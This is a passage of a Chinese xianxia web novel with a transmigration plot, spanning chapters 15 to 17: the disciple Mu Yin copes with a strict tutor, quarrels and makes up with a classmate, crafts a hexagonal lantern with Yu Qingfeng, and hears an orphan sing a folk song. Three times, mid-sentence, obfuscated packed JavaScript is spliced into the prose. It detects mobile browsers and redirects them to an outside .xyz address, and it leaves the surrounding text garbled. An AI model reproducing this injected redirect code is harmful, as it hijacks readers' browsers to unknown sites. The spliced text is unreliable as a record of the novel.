一位用柳叶簪束发的小男孩主动举手,得到允许后,站起来侃侃而谈:“近古时,人族屡次濒临灭绝,我族祖先从妖族、巨人族那里分别习得五行术法和锻体术,还有一位天骄从人鬼两界悟出阵法之道,他们将修习之法传授给有灵根的人,至此人族中有了仙人,抵抗恶族的掠杀,而凡人一辈子都无法修行。” 夫子点点头,示意他坐下。 “凡人生来困苦,日出而作,日落而息,有吃有穿,便可满足一生。修仙之人虽寿元绵长,但过分庇佑凡人,只会令其不思进取,失去血脉中的不屈之志。所以,我等修仙之人既要庇护凡人繁衍生息,又要护其传承血性。” 木音第一次听这种说法。 守护血性?不就是怕人族都死绝了,自己没后人,又怕人族过得太安逸,没点打压,没人愿意修仙。这帮修仙的简直是把凡人当牲畜在养! “木音。” 突然被点名,木音“嗖”一下站起来,后背直冒冷汗。怎么就这么巧,偏偏这会儿盯上她?难道这老头还有读心术? “老夫看你听课神思漫游,独爱咬一根手指,是老夫讲的东西你都会了?” 木音放下手,起身,行礼:“请夫子恕罪,弟子愚钝,并未能完全记住夫子所讲授的东西,愿领责罚。” 被针对这种事,她早就习惯了,自有一套以退为进的应对方法。 夫子眯了眯眼睛,并不打算就此揭过:“早就听师兄师姐们说你早慧,口齿伶俐,今日一见,果真如此,想必上一教你的位老师曾经也好好传给你一些真本事,老夫来考考你。你说说看,妖族有哪两族不同寻常,为何?” “弟子曾是外门杂役弟子,听过夫子的课,夫子的才学斐然,令弟子心生敬佩。可惜弟子天生愚钝,只学会一点口舌便利。夫子的问题令弟子自惭形秽,甘愿再学一次。” 倒是天生一副伶牙俐齿。 夫子在心底暗自感叹,没有继续为难木音,让她旁边的女孩回答。 “妖族唯有狐族和鲛人族生而不同,狐族能于无形中扭曲记忆,更改意志,鲛人族则能变换容貌,声音亦可蛊惑人心。我辈修士,修道更在于修心,因此,这两族都是祸害。” 夫子久违地露出笑容,点点头,让女孩坐下,目光移到木音脸上:“这一次,可记清楚了?” “弟子学会了。” “既如此,老夫再来考教你,人族有一支姓得天独厚,行走于人鬼两界,你可知道?” “弟子愚钝,请夫子赐教。” 不管问什么,木音都秉持着虚心求教、虔心受罚的态度,被夫子接连考教五六个问题,才得到坐下的机会。这位夫子,真不好相处。 一晃眼便到了下课时间,夫子卷起衣摆,离开蒲团。 教室里渐渐热闹起来。 有几人站起来走动,行走中有意来到窗边,却发现窗边空了一个位置——木音不知何时已经离开教室。一伙人心中窝火,但不得不离开。 此时,木音正乘坐大鹅往斑斓谷的方向飞。 斑斓谷有阵法守护,进出都需要特制的令牌,这种令牌只有三人有——掌门,玉前辈和她。 木音远远地望见有一名青衣弟子站在入口处,走来走去。 “这位前辈,不知来斑斓谷有何事?”木音从大鹅背上跳下来,迎面走过去行礼询问。 水云门没有统一的颜色,法袍又因为炼制者的喜好各有不同,而内门连杂役都有一点修为,除非是筑基期乃至更高修为,否则她完全分不清杂役和正式弟子的区别。 以防出意外,称前辈最保险。 “说不上前辈,我是泰来峰的杂役弟子。”来者是一名女子,看面容不过二十,头发高高束起,说话行礼颇有英姿飒爽的感觉。 自报家门后,她说明来意:“今日是正月十六,按照惯例是发放资源的日子。这是斑斓谷的份额,往年绮珊师叔不在家,都是掌门替她收着,如今一并归还。从这个月开始,每月都会有一笔资源送过来,还请将这个交给玉师叔。” 木音接过储物袋,送走来客后,往玉清风的住处走去。 玉清风正在石亭外的一块空地练剑,防止被误伤,木音边喊边往里走。 “下次来找我喊一声就行,太吵。” 玉清风收起剑,脸色和这竹林的叶子一样冷。 风一吹,竹林沙沙作响。 木音听着响声,脑子里不知哪根筋搭到位,突然想起散学前夫子布置的任务——下节课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089030|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带笔墨纸砚。 那昂贵玩意儿的平替可不就在眼前吗! 斑斓谷虽不是寸土寸金,但路边一根草都可能是药材的可能极高,她压根不敢乱砍竹子,只能看看,想办法要一根。 说完资源的事,将储物袋交给玉清风,木音抬脚准备走。要东西得先准备点礼物,她可不敢跟玉清风玩“空手套白狼”。没想到,玉清风直接打开储物袋,将足有两米高的灵石、法器、药瓶堆成的资源倒在地上。 木音:…… 不会是让她来当苦力,帮忙分门别类吧? 只见玉清风从资源山上挑出三块有点亮光和一块非常亮的灵石,抬手丢给她:“给你的,一块上品灵石,三块中品灵石,算是你这个月的月钱,以后每个月的今天,也是你拿月钱的时候。” 财大!气粗! 木音喜滋滋地拿钱走人,临走时,玉清风让她从悬崖下弄点细粉过来。 这还用等? 现在立刻马上去安排! 悬崖之下,大风呼呼灌出来,木音穿好一身装备,紧紧攀住墙壁,用小钉耙一点一点撬下孔洞中的白色颗粒。 不知道玉清风用这东西做什么,要多少,她尽量多准备一些。 敲着敲着,墙壁突然裂开,掉下一块石板,落地立即摔成碎片,满地都是灰白交错的碎渣子。 这…… 灵光一闪,木音想到一个绝妙的省钱方法。 第二天上学,木音用之前脱下但没舍得扔的破上衣包裹上课的“小黑板”和“粉笔”,骑上大鹅直奔学堂。 此时,教室里只有二十几个学生,三三两两坐在一起聊天。 空气中有一股好闻的墨香。 见木音夹带一块不规整的板状物体,不少人看过来。突然,一股说不出的气味从窗边飘过来,不臭,不香,似乎没什么味道,但闻着就是胸闷不舒服。 “喂,你拿什么东西进来了?”坐在她旁边的女孩凑过来,好奇地打量那块脏兮兮的布料和它包裹的东西。 “我叫木音。” 女孩愣了一下,很快反应过来,收起脸上客套的笑容,自报家门:“我是裴罄然,拜在鄂长老门下。你拿的这个东西,味道很特别,但不像是灵植天生的气息。这是什么?” “今日夫子让我们带笔墨纸砚来,我习惯用这个练字。”边说,木音边打开包裹,露出里面的一东西。 ——一块满是蜂窝洞孔的石板和一根木筷子。 这正是她从悬崖下的石壁上扣下来的。这种石头早已风化,轻轻用力很容易留下刻痕。写完一个字,用力擦一擦就可以用下一层,比起用水写字还得先问玉清风讨要一根竹竿再自制竹板更省力。 “我可以试试吗?”裴罄然兴致勃勃地凑近些,就等着准备上手。 木音犹豫了一下,将石板推到桌案边。 没想到修仙世家的娇气小姐竟然这么好说话,她来之前准备的一套对付嘲讽的话术都没机会派上用场。 是因为年纪尚小,心性比较纯善吗? 这位裴小朋友挺好相处的。 15. 15 上课前,夫子用灵力在空中凝聚出五个泡泡,每个泡泡中有一个字符。 “今日,我们来讲讲现今最负盛名的几大世家,世家多是由散修创立而来,其中,宋家,明家,裴家,玉家和王家底蕴雄厚,非寻常人家可比。”每说一个修仙世家,泡泡会相应闪光,以对应相应的字符。 夫子摸摸胡须:“你们需要识记这五个字。老夫不检查,望诸位自觉。” 正听着,木音忽然感觉有一道目光在她这个“留级生”的脑袋上停留几秒,立马附和,频频点头。 “裴罄然。” 夫子突然点名。 木音明显感觉到视野边缘有一个模糊的身影猛地颤了一下,然后“噌”地往上冲。 “弟子在。”裴罄然大声回答。 夫子眯了眯眼睛,微微昂头,悠悠问道:“你是裴家主脉嫡女,就由你来回答,和你裴家同在中神州的宋家发家人是谁?因何机缘创立宋家?” “回夫子,宋家可追溯到前16代先祖宋明义,他和我裴家家祖为同一时代的人物。宋明义中年于山中砍柴,获得一把残剑,从中参悟仙法,自创一支,开宗立祠。” 夫子满意地点点头,继续问道:“那你裴家呢?” “我裴家先祖裴卓曾是读书人,屡试不第,遂跟一算命先生行走江湖,在多年寻访中补全一套失传的心经,自此,裴家立。” 说到自家老祖宗,裴罄然腰杆都挺直了些,脸上满是骄傲的神色。 夫子示意她坐下,喊来另一位:“明梵音,你出生明家旁支,母亲是王家嫡女,又与玉家主脉嫡女有婚约,就由你来说说明,王,玉这三家,如何?” 用柳叶簪束发的男孩站起来,行礼,开口道:“我明家先祖乃一钓鱼翁,幸遇仙长,收为门徒,后来仙长得道飞升,先祖离开山门,成为散修,后来创立明家;玉家家祖是一名剑修,天赋卓绝,可惜其爱侣是凡人,早早离世,玉家先祖背痛难忍,自断其道,殉情而亡,玉家后人自发为其立碑建祠,这才有了玉家;至于王家先祖,弟子也不清楚,只知道是位将军。” “王天鸿将军。”夫子念出这个名字,心里叹口气,抬手示意明梵音坐下。 他继续说道:“王家在这五家中历史最悠久。家族屡遭劫难,险些灭族。近古时,万族争锋,唯打压人族,王天鸿将军是当时为数不多的修士,遂挺身而出。在一次与异族的战争中,王将军献祭自身,化为铺桥石,护百姓渡河避难,石头被水流冲走。渡河幸存者自发成立王家祠堂,慢慢演变为王家。王将军是修仙世家更迭史中唯一一个只有衣冠冢的先祖,王家是唯一一个不以血脉论主次的世家。” 话音刚落,教室陷入短暂的安静。其中,一道断断续续的沙沙声越发明显。 ——木音正在石板上练字。 石板的风化程度参差不齐,表层风化最均匀的一层已经被裴罄然试写时磨掉,木音每写一个字,总会在某一笔的中途或转折点遇到陡然增大的阻力。 她兴致勃勃地练习,浑然没有察觉周围的目光。 “木音,你在做什么?”夫子的声音打断木音的思路和笔迹。 她停下“笔”,茫然地抬起头,其他学生都在看她的石板,只有夫子,皱紧眉头盯着她,她高声回答道:“回夫子,弟子正在练字。” 夫子的目光如寒冬腊月的西北风,呼呼地刮在她脸上,“练字?你用石板练字?哗众取宠,不思进取,出去!” 木音抱着石板,在一众嘲弄的目光中,慢慢调整心态;等出了教室,她已经重新将注意力放在石板上,蹲在学堂外小溪旁的石头上,边练习边等下课。 夫子教的五个字她全都记住了,趁热打铁快速默写。 她写了一遍又一遍,溪水中逐渐混入一条浑浊的灰黄带子,石板也越来越薄。 “你还在写啊?”有点熟悉的嗓音贴着耳朵响起,把木音吓了一跳,整个人抱着石板往后窜。手一抖,“笔”断了。 裴罄然也吓了一跳。 两两对视,裴罄然有点后悔跑过来搭话。 ——这是她第一次弄坏别人的东西不知道怎么赔偿,怎么办? 不赔偿肯定是不行的。 这起毛边的木棍要到哪儿再弄一根啊! “我,你给我一点时间,我重新给你找根木棍。”裴罄然素来只会说“我这个XXX给你,就当作陪礼,这可是……”这种话,此刻红了脸,慌张地喊道。 她一遍一遍地在心里告诉自己,她是真的想赔,木音一定能感受到她的诚意。 木音比量一下筷子的长度和手的大小,发现这两根刚好凑成一幅筷子,家里那根还可以续上。 “不用。” 收好石板和筷子,她敲了敲酸麻的腿,扶着旁边的造景巨石慢慢站起来。 抬头一看,裴罄然这小姑娘眼含热泪,水汪汪的眼睛盯着自己。 木音愕然:“你……哪儿疼?” 裴罄然:? 眼瞅木音一脸镇定,丝毫没有领会自己的一番好意,更不把自己的承诺当回事,而是一副无所谓的样子,她顿时火冒三丈。真是岂有此理! “有什么了不起的!不就是一根翘边的木棍嘛,我一定能找来一根一样的!” 吼完这一句,她转身就走,眼泪止不住的往下掉。 木音站在原地,愣了好一会儿,短短的“啊”了一声。她怎么也想不明白裴罄然为什么哭了,还非得给她一根木棍,她明明说了不用,而且,这满山的树,哪儿捡不到一个木棍呢? 又不是斑斓谷那种地方。 回去的路上,木音还在想这个问题,毫无头绪。 打开斑斓谷的阵法,雾气散开,一个小小的人影出现在面前。 真稀奇,玉清风竟然站在入口,既不开阵,也不张望,双目紧闭站在那儿,像一尊石像,石像手里还攥着一根木简。木简以灵力沟通,根本不需要面对面交流。 她似乎是在等人。 按照规矩,木音得先上前去行礼,得到应允后才可以回自己住的小屋,搭火蒸饭。 但这一次,玉清风主动开口留她:“你今天在学堂遇到裴罄然了?” 裴罄然? 见木音沉默,玉清风又说道:“裴罄然喜欢穿粉色法袍,随身携带一只玉雪狗的玩偶,肤色偏白,左耳垂上有一道划伤。” 木音这才想起来,同桌裴罄然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089031|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的桌上确实有一支可爱的小狗雕塑,雪白雪白的。 那是玉雪狗? 左耳垂的伤倒没怎么注意……等等,这么细的细节! “敢问玉前辈,您和裴罄然裴姑娘早已认识?”说话时,木音心跳如鼓,她再迟钝也察觉出裴罄然离开时的异常。 更直接一点,那孩子是哭着跑走的。 “裴罄然是我表妹。” 木音:…… “表妹。” “先进去吧。”玉清风打断她的话,抬手关闭阵法入口,召唤飞剑,带着木音飞回自己的竹轩小筑。 二十分钟前,她还在精心揣摩剑法,突然被木简的嗡鸣惊扰。 打开一看,十几条留音都是裴罄然那家伙发过来的,吼声震天,吐字含糊,为了弄清楚其中的来龙去脉,玉清风忍着耳朵疼,一条一条的听,最后总结出一点。 ——裴罄然好像又闯祸了,这事儿与木音有关。 拜师前,母亲特意叮嘱过在宗门要照顾裴罄然,玉清风左思右想,决定走一趟。 要是这事儿的关键人物木音不在斑斓谷,她大可以清修勿扰为理由推脱掉。一想到这,玉清风忍不住看一眼“罪魁祸首”。 木音上一秒还在感叹玉清风不愧是女主,修为神速,连御剑这种筑基之后才能做的事也可以逆天而行,下一秒就被一双冷冰冰的眼睛盯上,大脑一秒清澈。 飞到竹林上空,玉清风操控飞剑缓缓降落。 木音双脚落地,拍拍胸口,自我检查一下,第一次低空飞行,大半程都是闭眼的,没有任何生理性不适感。 地上的飞剑迅速缩小为一张长方形符箓,在空气中燃成灰烬。 “说吧。怎么回事?”玉清风挥手扬掉灰尘,准备席地而坐,细细盘问,看了一圈,最后一屁股坐在资源山上。 周围要么是被劈碎的竹子,要么是满地乱滚的灵石、药瓶和各式各样的法器,连落脚的地方都得仔细挑着找。木音乍一看没觉得有什么不对劲,仔细一瞧,这堆资源山半点没少。 ——合着玉清风这个修剑狂魔连原模原样塞进储物袋这一步都懒得做,还能忍受满地的落叶,新的,老的,绿的,黄的,各种竹叶。 吐槽归吐槽,木音脸上没有半点多余的表情,用汇报PPT的诚恳态度,一板一眼地说清前因后果。 这和玉清风知道的几乎是两个版本。 在裴罄然断断续续、不甚清晰的陈述里,木音这个杂役弟子依仗一块新奇的石板傲慢极了,她弄坏一根木棍,并表明愿意赔偿,可依旧没得到好脸色。 木音的表述则更加清楚,而且事情非常简单。 “还好你修为低微。”玉清风暗自松了口气。这要是换成她,非得和裴罄然理论清楚,从去年争压岁钱的事来看,她可能还会在那家伙的右耳垂上再划一道,正好对称。 “我会和裴罄然解释这件事,你不用管了。” 这就完了? 木音震惊了。 裴罄然一个世家千金,气势汹汹地走了,还跑到自己顶头上司这边来告状,可见火气不小,可是,顶头上司竟然一个人扛雷! 玉面罗刹,小小的你真是个好人。 16. 16 作为一个在群众组织里任劳任怨干两年的牛马,木音非常不好意思就这么拍拍屁股走人。 ——怎么也得意思意思,留个好印象嘛! 于是,在征得玉清风的同意后,她就地取材,捡些竹子枝条扎成扫帚,开始沿庭院边缘扫落叶。 扫完落叶,她去草丛里收拾掉落的枝叶。 沿着竹屋墙角进入竹林深处,木音发现了一种加工过的竹片。这些竹片都是用竹竿削成大小相等,形状相同,厚薄均等的片状。 一直走到竹林边缘,她又在草丛中发现一个用三块竹片制成的架子。 竹片末还能清晰看出钉凿打磨过的痕迹,显然是半成品。 木音提着架子直奔竹屋。 “玉前辈,弟子在竹林里捡到这个,弟子会一点手工活,要帮您休整一下吗?这是个半成品。” 玉清风正在擦拭剑刃,闻言慢慢抬头,余光瞟见前天的失败品,整个人都懵了。 她不是把这破玩意儿扔了吗! “玉前辈,你的手受伤了。”木音小声提醒。 此时,她双手交叠与肩齐平,悄悄抬起脸,用眼睛往上看。圆溜溜的眼睛和失败的半成品摆在一起,玉清风顿时觉得不好意思,耳根红了,脸瞥到一边,受伤的手偷偷藏在背后。 “咳咳。我没事,你看错了。” 木音从善如流,顺着话说:“弟子眼拙。不知这只未完成的六角花灯是不是玉前辈的?” “你会做六角花灯?”玉清风眼睛一亮,神色忽然明亮起来。 大概是木音的表情太震惊,她忽然意识到自己这幅样子非常不妥,又假装咳嗽几声,恢复原来的音调,丝毫不在意地说道:“你要是会做就把它做完吧。我忙于修炼,没有时间研究这个。要是不会,也不必勉强,早点回去休息,走之前从门口那堆灵石里拿两个中品灵石。” 扫地就有两个中品灵石? 这可真是玉·财大气粗·地主·清风。 木音挑出两个形状相对完整好看的灵石,拎着半成品架子直奔竹屋外的凉亭。 好巧不巧,六角花灯她还真会做。 大一参加学生会时,她跟着的学姐主要负责组织中秋暨国庆晚会,设计里要用不少花灯,但是预算有限,买不起。为了表现一把,她连夜上网学习,用三色冰淇凌的木棍成功拼出一个微型花灯,打败争议,揽下晚会花灯三百顶的大工程,至此一“战”成名。 木音从刚刚收拾好的那堆垃圾里翻找出所有完好的竹片,依次摊在桌上。 经过剪裁的竹片,厚度可以,但面积太大,需要一份切两刀,将竹片变成竹棍;而且上下顶部的六角形需要更短的棍子拼接,竹片还要继续改刀。 找不到顺手的刀,木音在竹屋外的水井边看到一块被磨得锃亮的磨刀石,当即围着竹屋转了个遍,在草丛里仔仔细细看一圈,没找到半点儿刀片的影子,连割草的镰刀都没有。 “要不要去找玉清风帮忙呢?”蹲在午后的角落里,木音小声嘀咕一句,满心不情愿。 一来,她俩不熟。 二来,她不敢。 在中期剧情中,玉清风曾因为其他修士在酒楼当众挑衅自己,一剑斩了酒楼。那可是皇城中最大的酒楼,人满为患,可以想象潇洒肆意的背后是何等惨状,这姑娘看着面善,说不定是那颗暴戾的心藏得好。 “我能帮忙?” “不能不能,嗯?啊啊啊啊!”茫然中,木音总觉得脑子里有一个声音在告诉她,这声音不是她的心声幻听。这是非常熟悉的、稚嫩的嗓音。 千钧一发之际,她的身体比脑子更快一步行动。 ——往斜后方边退边跳,“咕隆”一声撞到竹屋,生怕把屋子撞坏了,“啪嗒”一下坐地上,起不来了。 看着玉清风的脸,屁股疼,脑袋也疼,可木音的脑子里还是一片浆糊,浆糊里还有两个字: 完啦。 “还能起来吗?”玉清风走过来,伸手扶起木音,胳膊伸到她的胳肢窝下,准备把人架起来。 木音不知道她要干嘛,身体在本能的排斥。 她火速撤回一条胳膊,开始原地跺脚,抬腿,左手拍右小腿,右手拍左小腿…… “哈哈哈哈,没事没事,我锻炼呢,这,我这,修为太低了,没什么功法,就在这里练一练身体,活动活动筋骨,活动筋骨,活动筋骨。” 脸都快笑僵了,肌肉一抽一抽的微微刺痛,偏偏她脑子里神经似的跳出上辈子老妈在广场上跳的简易版广场舞。 这巅疯的状态持续了约摸半分钟,木音清醒了,想就地把自己埋了。 空气突然安静了。 “锻炼结束了?”玉清风率先开口打破沉默,一脸认真,丝毫不觉得刚刚那一幕有什么搞笑的。 木音:……穿越就是好啊,这就是没人懂的快乐吗?爽! “结束了。我继续去做六角花灯,让玉前辈见笑了,那是我的一点锻炼小道。” 玉清风对“锻炼小道”这四个字丝毫没有反应,好像这就跟“真武大道”、“混元大道”、“乾坤大道”一样,只是一个不熟悉但没有超出认知范畴的词。 木音:哇哦,在熟人面前说悄悄话的感觉真棒! “啪”,一只手搭在肩头。 木音小心回头,舔着笑脸问:“玉前辈,还有什么事要吩咐吗?” “我们一起吧。” “啊?” “我想学习一下怎么做花灯,可以吧?” 木音:这…… 她有拒绝的权利吗? 虽然满心不情愿,但是,为了自己在斑斓谷过得更好,木音选择和玉清风同桌。 一会儿功夫,木音就开始在心里感叹:玉面罗刹年纪小的时候是真好说话,让切片就切片,说一刀就一刀,根本没有质疑,简直就是完美的辅助机器人,手工小能手的绝佳助手。 大约花了半个时辰,木音成功解锁尘封的记忆,将六角花灯的骨架做好。 现在,只剩下设计花样,裁纸粘贴。 “玉前辈,花灯的骨架已经完成,我先回去了。” 木音摸了摸瘪瘪的肚子,心里哀嚎一声,她可怜的肚子已经饿到没有知觉,毫无反抗之力。 “咕~” “你等一下。”玉清风叫住走到亭子外的木音,招招手,示意她回来。 她从储物戒中取出一饭一菜放在桌上。 桌子很大,木音走之前将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089032|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前的废材料都收拾好了扔掉,玉清风面前只有一个骨架,所以再加上一菜一饭丝毫不会拥挤。 但……这米饭也太好看了吧! 木音盯着亮晶晶的米饭,搜肠刮肚也找不出拒绝的理由,全是饿久了的苦水。 “给我的吗?” “对。” 经过一段时间的相处,木音发现玉清风这个小姑娘还是有比较温和、安全的一面,更重要的是,她真的太饿了,自己蒸饭还要好久才能吃上。于是,她心一横腿一弯,从地上挑两根差不多长的废弃竹棍,快乐干饭。 玉清风顿了一下,悄悄把一双全新的象牙制筷子塞回储物戒指。 她本以为木音会很客套地推托很多遍,然后盛情难却之下坐下吃饭。毕竟,从大殿之上的第一面起,这个和她差不多大的孩子就是一副满腹算计、谨小慎微的模样,连受到惊吓也要装没事。 眼看碗里的饭快要见底,玉清风一边在纸上画花样,一边说:“我还没学会做六角花灯,我们等会儿再做一顶吧?” 无人回应。 玉清风轻轻皱眉,凑近一些,再说一遍。 “嗯嗯嗯。”木音频频点头。 半饱后,她逐渐恢复本来的吃饭速度,不该这么敷衍地对人家。但是,都怪这饭太好吃了。只知道新米比陈米好吃,谁知道修仙界的米更是一绝啊!面对这种米饭,哪怕走神一秒都是莫大的损失! 美美光盘,木音习惯将碗和盘子叠放起来。 玉清风在碗上放一张符箓:“这是最简单的传送符。”以灵力驱使,符箓会将碗和盘子隔空传送到山门旁的食堂处。 收干净桌面,木音将剩余的材料一一摆在桌上,数了数,发现距离一个新的六角花灯骨架还差两根长竹棍,“我再去那边翻翻看,应该能找到有点破损的,把破损的边角削掉就能用了。” “不用这么麻烦。” 玉清风的话音刚落,一道白光闪过,剑锋铮鸣,竹林里沙沙作响,竹子倒地,竹叶飘落,长剑转悠一圈,从竹林外、竹屋上空飞回来。 这场景,似乎有点熟悉。 不过,这哪里不麻烦了?明明更麻烦了! “我去捡。” “捡一根回来就行,剩下的我另有用处。” 木音没吭声,在草丛里挑挑拣拣,争取尽快找到长度最合适的竹竿,减少材料的浪费。这并非玉清风的要求,而是她的生活习惯。 ——大学生嘛,该省省该花花。 她挑中一根长度合适的竹竿,起身准备往回走。 站在草丛中,向上看,天空被削出一个大口子,竹叶沙沙作响,剑风仍未散去;目光向下,远处是一片郁郁葱葱的坡,平坦到让木音差点忘了自己住在风口。 这地方连风都没有,竹林怎么会平白无故地沙沙作响? 正月十六,正午,玉清风冷脸的样子犹在眼前…… 所以,她当时不是讨厌木音,或者厌恶所有人,而是尝试制作花灯失败,恼羞成怒?那今天这满地狼藉,大概是双倍怒火吧。 木音拎着竹杆往回走,和石亭中的玉清风遥遥相望,突然觉得这孩子就是个孩子,一点都不恐怖。 原来,原著女主是个傲娇啊。 17. 17 第二日,裴罄然坐在木音旁边,目不斜视,完全没有和她说话的意思。 这一节课,夫子讲的是在人族最大的聚居地——大隋朝传唱的民间歌谣。大隋朝有一百四十三郡,被望南镜湖和弦乐山脉划分为三块,歌谣也因地域民俗各有不同。 夫子用留声球演示三地歌谣的不同。 介绍完歌谣和基本音律,他将其中的一百二十个字作为识记对象,一一拆开其中的偏旁,仔细讲解。 木音想学的就是这个! 这个时代的字字形圆润,但笔画繁多。总共有七十一个大偏旁,十三个小部首,仅仅这十二首歌谣中涉及的句法变化就有十一处。 识文断字之路,任重而道远。 为了方便课后复习,木音特地多带来两块分化均匀的石板,且写字时遇到坚硬处,立即松劲,避免发出声音影响夫子,再次被赶出课堂。 夫子讲得认真,木音听得兴致勃勃,丝毫没注意到“认真听课”这艘大船上的人越来越少,只剩下几个学生。 讲完语法,一看学生神情萎靡,夫子便气不打一处来。 这帮小子们离家不久,门内顾及一些人心中难免有思乡之情,没有过多要求,他们倒是把日子过得舒舒服服,修炼不精进,读书也没冲劲。 忽然,他想到一个提神振气的法子:“你们其中有不少人出生于大隋朝,对这些歌谣并不陌生,可有人愿意献唱一首?不必羞怯,老夫对歌谣的唱法不甚了解,不知对错,不予评判。” 他先看向裴罄然。裴家曾有一位先祖以古琴证道,以歌声扬名,家族对后来的子孙必定加倍教导。 偏偏这目光和耳朵不受控制,让他注意到旁边的木音。 这孩子又在拿筷子在石板上写字! “木音!” 木音猛然抬头,和夫子饱含愠怒的眼神相逢于一片讥笑声中。转瞬间,夫子眼中的情绪便烟消云散,她还没搞清刚刚究竟是自己眼花,还是夫子变戏法,就听夫子扔来一道命令:“你来唱一首试试。” 让她来唱歌? 天地良心,她最怕的就是唱歌! 当年为了挣活动分,给学姐鞍前马后终于走后门进入大一合唱班,只上台一次就被刷下来,还被要求在演出时对口型,不出声。这能唱?这能唱个鬼! “夫子,弟子五音不全,毫无天赋,尚且不能够认全这些字,唱的话,恐怕难以胜任。” 是时候展示一下她辛苦磨练的“有心无力”演技了。 夫子教书百年,可不吃这一套:“怕什么,你只管唱就是。” 他最喜欢看这些小孩为难的样子,配一杯春雨前的新茶,快哉快哉。两条形似柳絮的眉毛轻轻抖动,夫子脸上的皱纹宛若老树年轮,在寥寥白雾中缓缓伸展开。 突然,教室中后方传来细微的动静。 夫子抬眼一看,“嗯”一声,心中不免对那个小屁孩高看一眼。 此时,他的一举一动对整个课堂都有惊人的影响力。 木音正急得焦头烂额,忽然听见这一声,再看身边的人,一个个伸长脖子往后瞧,她也往后看。 ——那个说话结巴的小男孩站起来了。 小孩脸上毫无惧色,甚至,木音在其中看到一点兴喜之色。 他在高兴什么? 木音实在想象不出一个结巴会怎么唱歌。 偏偏那孩子听到夫子意味不明的一个回音,不顾周围人或鼓励或嘲笑的眼神,直接站起来,行过礼,开始唱其中一首民歌。有人小声说,那是怀州之地的民歌。 说话结巴的人,唱歌却很好听。 这首民歌唱的是采莲女的生活,木音听得明白,脑子里浮现的不是上辈子在江淮一带采风的画面,也不是鸡头米做的糕点,而是一些陌生的片段,血腥,悲痛,却和她有一道看不见的隔阂,无法共情。 歌声止,记忆散。 木音四处观察,发现其他人都没有异常,就只是听结巴唱一首歌,或是赞赏,或是轻蔑。 那段记忆,是原主的? “墨廷翰,你是怀州人士?”夫子问道。 他记得这一群孩子中,只有木音是怀州人士。怀州多水,地势低洼,时常发生山体滑坡。 前几年,天子得天命指引,将于怀州祭祀上天,特意命人将百姓迁离那里,修建行宫,派兵驻军守卫。能记住乡音的孩子少了,会唱怀州民歌的人也少了。 “回夫子,弟子入山前,收养弟子的老道是怀州人士。老道好酒,爱听歌,经常以船为家,四处游览。”墨廷翰感受到一道强烈的目光,他悄悄用余光瞟过去,发现是木音和裴罄然。 木音震惊到说不出话,心里惊叹连连。 这是墨廷翰,怀州人士墨廷翰?在原著后半期,那个让女主爱而不得,让众男主恨得牙痒痒,偏偏修的是无情道的杀神竟然是水云门的! “赤子之心,至诚至信。”夫子感叹一句,陷入短暂的沉默。 他想起那位拿法宝当酒壶,用剑鞘做小舟的故友,也记起二人最后一次见面的场景,轻叹一口气:“那名老道,叫云忠散人,对吗?” “正是。” 木音注意到,那个叫墨廷翰的小孩听到“云忠散人”四个字时眼眶中有盈盈水光闪过,收养之恩,传道之恩,谋划后路之恩,恩重如山。 这样一个至情至性的孩子,怎么会修无情道呢?其中缘由,原著中丝毫没有提到。 墨廷翰的视线轻轻扫过木音,落在隔壁的裴罄然身上。 相比自来熟、给人留下深刻印象的木音,世家千金裴罄然的深情更耐人寻味,她的口型在说:听说你不是结巴,唱得不错。 “罢了,今日课就上到这,散学。”留下这一句,夫子乘坐蒲团化作一道流光飞走。 教室里的学生,你看看我,我看看你,面面相觑。 素来以严苛著称的夫子竟然提前下课,这等事情,简直闻所未闻,其中原因,自然落到墨廷翰身上。 一个胖乎乎的小男孩走上来,后面紧跟着五六个差不多大的孩子。 小胖子攥住墨廷翰的肩膀,反制手肘,将人摁在桌上:“喂,你给我们说说那个老道有什么能耐,和夫子是什么关系,怎么就把夫子气走了?” “我,我不知,知道。”墨廷翰被摁住胸口,呼吸困难,说话更难。 他说话本就不利索,这下更结巴了。 一帮孩子哈哈大笑。 教室里乱糟糟的,木音检查自己的笔记,将碎屑收拾干净,准备收拾石板走人;旁边的裴罄然陡然站起来,速度之快,力道之快,直接将木音的一块石板碰掉,木音猛地跪下去接也没接到。 石板碎一地,笔记也随之烟消云散。 “你……” 一节课的心血损失一半,木音心痛到难以呼吸,气冲冲想到找人算账。 那个莽撞的小姑娘三两步冲到教室后方。 “你干什么呢?”裴罄然一把掐住小胖子摁住墨廷翰的那只手,指甲用力嵌进肉里,红丝初现,小胖子痛得嗷嗷直叫。 